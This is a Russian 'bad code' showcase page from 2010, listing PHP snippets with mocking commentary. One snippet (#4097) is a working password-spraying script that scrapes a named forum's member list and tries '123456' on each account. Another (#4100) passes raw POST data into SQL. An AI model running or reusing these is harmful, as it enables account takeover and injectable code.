1. PHP / Говнокод #4109

    +144

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    <?php
    
    class Event {
        private static $_instance = NULL;
        protected $_events_pool = array();
    
        public static function getInstance() {
            if (self::$_instance === NULL) {
                $class = __CLASS__;
                self::$_instance = new $class;
            }
            
            return self::$_instance;
        }
    
        private function __construct() { }
    
        public function connect($event, $callback, array $params = null) {
            $this->_events_pool[$event] = array(
                'callback'	=>	$callback,
                'params'	=>	$params,
            );
            
            return $this;
        }
    
        public function clear($event = NULL) {
            if ($event === NULL) {
                $this->_events_pool = array();
            } else {
                foreach ($this->_events_pool as $id => $_event) {
                     if ($_event['event'] === $event) {
                        $this->_events_pool[$id] = NULL;
                     }
                }
            }
        }
    
        public function emit($events = NULL) {
            if ($events === NULL) {
                $events = array_keys($this->_events_pool);
            } else {
                $events = (is_array($events)) ? $events : array($events);
            }
            
            foreach ($events as $event) {
                foreach ($this->_events_pool as $id => $item) {
                     if ($id === $event) {
                        $this->call($this->_events_pool[$id]['callback']);
                     }
                }
            }
        }
    
        protected function call($class_name, $method_name = NULL, array $params = array(), array $class_params = array()) {	
            $_method = ($method_name === NULL) ? $class_name : array($class_name, $method_name);
            call_user_func_array($_method, $params);
        }
    }

    nergal, 26 Августа 2010

    Комментарии (18)
  2. PHP / Говнокод #4107

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    /**
         * Обновление информации о пользователе
         *
         * @param integer $user_id
         * @param array $data
         * @return Zend_Db_Statement_Pdo
         */
        public function updateProfile($user_id, $data)
        {
            // TODO: сделать человеческую валидацию
            $params = $keys = array();
    
            if ($data['login'] !== NULL) {
                $keys[] = 'u_login = ?';
                $params[] = $data['login'];
            }
    
            if (Zend_Validate::is($data['email'], 'EmailAddress')) {
                $keys[] = 'u_email = ?';
                $params[] = $data['email'];
            }
    
            if ($data['sname'] !== NULL) {
                $keys[] = 'u_sname = ?';
                $params[] = $data['sname'];
            }
    
            if ($data['name'] !== NULL) {
                $keys[] = 'u_name = ?';
                $params[] = $data['name'];
            }
    
            if ($data['fname'] !== NULL) {
                $keys[] = 'u_fname = ?';
                $params[] = $data['fname'];
            }
    
            if ($data['birthdate'] !== NULL) {
                $keys[] = 'u_birthdate = ?';
                $params[] = $data['birthdate'];
            } else {
                $keys[] = 'u_birthdate = NULL';
            }
    
            if ($data['city'] !== NULL) {
                $keys[] = 'u_c_id = ?';
                $params[] = (int) $data['city'];
            }
    
            if ($data['info'] !== NULL) {
                $keys[] = 'u_info = ?';
                $params[] = $data['info'];
            }
    
            if ($data['sign'] !== NULL) {
                $keys[] = 'u_sign = ?';
                $params[] = $data['sign'];
            }
    
            if ($data['sex'] === 'M' OR $data['sex'] === 'F') {
                $keys[] = 'u_sex = ?';
                $params[] = $data['sex'];
            }
    
            if ($data['subscribe'] === 'on' AND ($data['subtype'] === 'T' OR $data['subtype'] === 'H')) {
                $keys[] = 'u_subscribed = ?';
                $params[] = $data['subtype'] === 'T' ? 1 : 2;
            } else {
                $keys[] = 'u_subscribed = ?';
                $params[] = 0;
            }
    
            $sql = 'UPDATE users SET ' . implode(', ', $keys) . ' WHERE u_id = ' . (int) $user_id;
            $query = $this->db->query($sql, $params);
    
            $this->clearUserCache($user_id);
    
            return $query;
        }

    nergal, 26 Августа 2010

    Комментарии (39)
  3. PHP / Говнокод #4106

    +172

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    <?
    @session_start();
    
    $fini=rand(0,9);
    
    if($fini==1){
    
    $_SESSION['idi']='ZM55PKL216';
    
    echo"<div style='position:absolute; background-image:url(images/proverochnoe%20chislo/proverka1.png); width:112px; height:30; left: 390px; top: 260px;'></div>";}
    
    if($fini==2){
    
    $_SESSION['idi']='2K1P6LZ55M';
    
    echo"<div style='position:absolute; background-image:url(images/proverochnoe%20chislo/proverka2.png); width:112px; height:30; left: 390px; top: 260px;'></div>";}
    
    if($fini==3){
    
    $_SESSION['idi']='LK561MP5Z2';
    
    echo"<div style='position:absolute; background-image:url(images/proverochnoe%20chislo/proverka3.png); width:112px; height:30; left: 390px; top: 260px;'></div>";}
    
    if($fini==4){
    
    $_SESSION['idi']='65ZP1MLK25';
    
    echo"<div style='position:absolute; background-image:url(images/proverochnoe%20chislo/proverka4.png); width:112px; height:30; left: 390px; top: 260px;'></div>";}
    
    if($fini==5){
    
    $_SESSION['idi']='552P6LM1ZK';
    
    echo"<div style='position:absolute; background-image:url(images/proverochnoe%20chislo/proverka5.png); width:112px; height:30; left: 390px; top: 260px;'></div>";}
    
    if($fini==6){
    
    $_SESSION['idi']='ZP2M615LK5';
    
    echo"<div style='position:absolute; background-image:url(images/proverochnoe%20chislo/proverka6.png); width:112px; height:30; left: 390px; top: 260px;'></div>";}
    
    if($fini==7){
    
    $_SESSION['idi']='KM5P2Z615L';
    
    echo"<div style='position:absolute; background-image:url(images/proverochnoe%20chislo/proverka7.png); width:112px; height:30; left: 390px; top: 260px;'></div>";}
    
    if($fini==8){
    
    $_SESSION['idi']='2KP5Z16L5M';
    
    echo"<div style='position:absolute; background-image:url(images/proverochnoe%20chislo/proverka8.png); width:112px; height:30; left: 390px; top: 260px;'></div>";}
    
    if($fini==9){
    
    $_SESSION['idi']='PKM15Z25L6';
    
    echo"<div style='position:absolute; background-image:url(images/proverochnoe%20chislo/proverka9.png); width:112px; height:30; left: 390px; top: 260px;'></div>";}
    
    if($fini==0){
    
    $_SESSION['idi']='6ZP5L25M1K';
    
    echo"<div style='position:absolute; background-image:url(images/proverochnoe%20chislo/proverka10.png); width:112px; height:30; left: 390px; top: 260px;'></div>";}
    
    ?>
    
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
    
    <div style="position:absolute; top:-10px; left:25px; width: 340px; height: 49px; z-index:8;"><font size="+2" color="#333399" style="position:absolute; top:236px; left:-5px; width: 284px;">Контрольное значение для ячейки значение:</font>
    
    </div>

    Содержимое файла "kontrolnoe znachenie.php".
    Великий и ужасный "генератор капчи". Особая прелесть в том, что файл начинается с пустой строки, а потом уже идет <?@session_start(). Кто сталкивался с проблемой "Headers are already sent" поймет, поймет также почему автор наивно пытается исправить эту проблему с помощью @.
    Продолжение серии: #4101, #4100.

    SunnyMagadan, 26 Августа 2010

    Комментарии (24)
  4. PHP / Говнокод #4103

    +144

    1. 1
    exit; ?>

    Самая последняя строчка в скрипте.

    7ion, 25 Августа 2010

    Комментарии (10)
  5. PHP / Говнокод #4102

    +150

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    <?session_start();
    
    require_once "../Source/connect.php";
    
    require_once "../Models/Comment(class).php"?>
    
    <link rel="stylesheet" href="../Source/style.css" type="text/css" />
    
    <a href="../Forms/Register_form.php">Регистрация</a> <br/><br/>
    
    <form name="login" action="../Controller/Controller.php" method="post">
    
    <input name="login" type="text" value=""> Логин <br/>
    
    <input name="password" type="password" value=""> Пароль <br/>
    
    Введите данные:<br/><br/>
    
    <input name="do" type="submit" value="Войти">
    
    <?session_destroy();?>
    
    </form>
    
    
    
    <?
    
    $comment = new Comm();
    
    	
    
    	$comment->Menu();
    
    	$comment->Coments();
    
    ?>

    Хочется назвать сие творение: "Очень быстрая сессия".
    Это весь код главной страницы простенького сайта-блога. Автор даже не подозревает о существовании тегов <html>, <head> и <body>. Вначале можно было подумать, что он засунул их в один из подключаемых файлов, а нет. Просто не нужны они ему и все.

    SunnyMagadan, 25 Августа 2010

    Комментарии (22)
  6. PHP / Говнокод #4101

    +166

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
    <link rel="stylesheet" type="text/css" href="table style.css"/>
    <?
    @session_start();
    
    if(!isset($_SESSION['login']))
    
    { echo '<div id="sulochki"  style="top:80px; position:absolute; left: 678px;"><a href="avtorizaciya.php">Вход</a></div>'; }
    
    
    
    if(isset($_SESSION['login']))
    
    { echo '<div  style="top:85px; position:absolute; left: 678px;">
    
    <form action="obrabotka avtorizaciy.php" method="post"> 
    
    <input  type="submit" name="logout" style="color:#F93; font-size:18px" value="   Выход   "/> </form> </div>'; }
    
    if(isset($_SESSION['login'])) {
    
    $str=strtoupper($_SESSION['niks']); 	
    
    echo'<div style="position:absolute;left:650; top:25; color:#FFF; font-size:21px; z-index:1">Здравствуйте '.$str.'</div>';}
    
    ?>

    Содержание файла с емким названием "vhod_vuchod.php"

    SunnyMagadan, 25 Августа 2010

    Комментарии (17)
  7. PHP / Говнокод #4100

    +160

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    $ix=$_POST['danue'];
    
    if(isset($_POST['danue'])){
    
    $reyd="INSERT INTO `NOVOSTI` (`CONNTEKT`) VALUES ('{$ix}')";
    
    $rido=mysql_query($reyd) or die ("no dannuch");
    
    header ('location: index.php');}

    SunnyMagadan, 25 Августа 2010

    Комментарии (16)
  8. PHP / Говнокод #4097

    +159

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    define(hostname, 'http://phpbbforum.ru');
    $file = './txt/users_phpbb.txt';
    function get_users($data)
    {
    preg_match_all('!">(.*?)</a></b>!', $data, $users);
    return $users[1];
    }
    
    function get_num_users($data)
    {
    preg_match_all('!">(.*?)</a></b>!', $data, $users);
    return count($users[1]);
    }
    
    function get_num_pages($data)
    {
    preg_match('!">(\d{1,8})</a><form action!', $data, $num_pages);
    return $num_pages[1];
    }
    
    function curl_header($url)
    {
    $ch = curl_init ($url);
    curl_setopt($ch, CURLOPT_USERAGENT, useragent);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
    }
    
    function brut($url)
    {
    $data = curl_header($url);
    $count = substr_count($data, 'Cookie');
    if($count == 2)
    return false;
    else
    return true;
    }
    function get_pages($num)
    {
    global $users_per_page;
    for($i = 0; $i<$num; $i++)
    $data .= req(hostname . '/memberlist.php?mode=posts&order=DESC&start=' . $users_per_page * $i);
    return $data;
    }
    if(!file_exists($file))
    {
    $data = req(hostname.'/memberlist.php');
    $users_per_page = get_num_users($data);
    $num_pages = get_num_pages($data);
    $pages = get_pages($num_pages);
    $users = get_users($pages);
    $fp = fopen($file, 'w');
    $users = implode("\n", $users);
    fputs($fp, $users);
    fclose($fp);
    }
    $users = file_get_contents($file);
    $users = explode("\n", $users);
    $count = count($users);
    $pass = '123456';
    for($i = 0; $i<$count; $i++)
    {
    if( brut(hostname.'/login.php?username='.urlencode($users[$i])."&password=$pass") )
    $good[] = $users[$i];
    }
    $fp = fopen("./txt/$pass.txt", 'a+');
    fputs($fp, implode("\n", $good));
    fclose($fp);
    print_r($good);

    Coder, 25 Августа 2010

    Комментарии (5)
  9. PHP / Говнокод #4096

    +172

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    <?php 
    
    $strings = array(); 
    
    $strings[] = "10_strings_0"; 
    $strings[] = "10_strings_1x"; 
    $strings[] = "10_strings_2"; 
    $strings[] = "10_strings_3"; 
    $strings[] = "10_strings_4x"; 
    $strings[] = "10_strings_5x"; 
    $strings[] = "10_strings_6"; 
    $strings[] = "10_strings_7x"; 
    $strings[] = "10_strings_8"; 
    $strings[] = "10_strings_9"; 
    
    // СПИСОК СТРОК ИЗ 100 СТРОК В КОТОРЫХ БУДЕТ ОСУЩЕСТВЛЯТЬСЯ ПОИСК СТРОК ИЗ СПИСКА $strings 
    
        for ($counter=0; $counter<100; $counter++) 
        { 
            $check_strings[] = "10_strings_".$counter; 
        } 
    
    // Временная папка - папка со скриптом 
    
        // создание vbs файлов 
        for ($strings_c=0; $strings_c<sizeof($strings); $strings_c++) 
        { 
            $file = fopen($strings[$strings_c].'.vbs', 'w'); 
                fwrite($file, 'Set Program = Wscript.CreateObject("Wscript.Shell")'.PHP_EOL.'Program.Run("'.$strings[$strings_c].'.bat'.'")'.PHP_EOL.'Wscript.Quit'); 
                fclose($file); 
        } 
    
        // создание bat файлов 
    
    $interpreter_root = 'C:\xampp\php\php.exe'; // путь к PHP интерпретатору 
        for ($strings_c=0; $strings_c<sizeof($strings); $strings_c++) 
        { 
            $file = fopen($strings[$strings_c].'.bat', 'w'); 
            fwrite($file, $interpreter_root.' '.$strings[$strings_c].'.php'); 
            fclose($file); 
        } 
    
    // создание php файлов 
    for ($strings_c=0; $strings_c<sizeof($strings); $strings_c++)   { 
    $code = '<?php 
    $string = \''.$strings[$strings_c].'\'; // строка для проверки, в каждом экземпляре своя 
        for ($counter=0; $counter<100; $counter++) 
        { 
            $check_strings[] = "10_strings_".$counter; 
        } 
    
        shuffle($check_strings); 
    
        $ok = false; 
    
        for ($check_strings_c=0; $check_strings_c<sizeof($check_strings); $check_strings_c++) 
        { 
            if ($string == $check_strings[$check_strings_c]) 
            { 
                $ok = true; 
                break; 
            } 
        } 
    
        if ($ok == true) 
        { 
            $file = fopen("'.$strings[$strings_c].'_ok.txt", "w"); 
            fclose($file); 
        } 
    ?>'; 
    
    $file = fopen($strings[$strings_c].'.php', 'w'); 
    fwrite($file, $code);

    многопоточность на PHP

    exciter, 25 Августа 2010

    Комментарии (99)
  10. PHP / Говнокод #4095

    +151

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    function pro($input) { 
    $input=str_replace("\0", '_', $input); 
    $input=trim($input); 
    $input=strtr($input,array('!'=>'&#33;','"'=>'&#34;','$'=>'&#36;','%'=>'&#37;',"'"=>"&#39;",'('=>'&#40;',')'=>'&#41;','*'=>'&#42;','+'=>'&#43;',','=>'&#44;','-'=>'&#45;','.'=>'&#46;','/'=>'&#47;',':'=>'&#58;','<'=>'&#60;','='=>'&#61;','>'=>'&#62;','?'=>'&#63;','@'=>'&#64;','['=>'&#91;','\\'=>'&#92;',']'=>'&#93;','^'=>'&#94;','_'=>'&#95;','`'=>'&#96;','{'=>'&#123;','|'=>'&#124;','}'=>'&#125;','~'=>'&#126;')); 
    return $input; 
    } 
    
    function depro($input) { 
    $input=strtr($input,array('&#33;'=>'!','&#34;'=>'"','&#36;'=>'$','&#37;'=>'%',"&#39;"=>"'",'&#40;'=>'(','&#41;'=>')','&#42;'=>'*','&#43;'=>'+','&#44;'=>',','&#45;'=>'-','&#46;'=>'.','&#47;'=>'/','&#58;'=>':','&#60;'=>'<','&#61;'=>'=','&#62;'=>'>','&#63;'=>'?','&#64;'=>'@','&#91;'=>'[','&#92;'=>'\\','&#93;'=>']','&#94;'=>'^','&#95;'=>'_','&#96;'=>'`','&#123;'=>'{','&#124;'=>'|','&#125;'=>'}','&#126;'=>'~')); 
    return $input; 
    }

    во всяком случае аффтар считает что это действительно защита не в рот ибацца, anti sql inj.. это вам не это.

    GoodTalkBot, 24 Августа 2010

    Комментарии (76)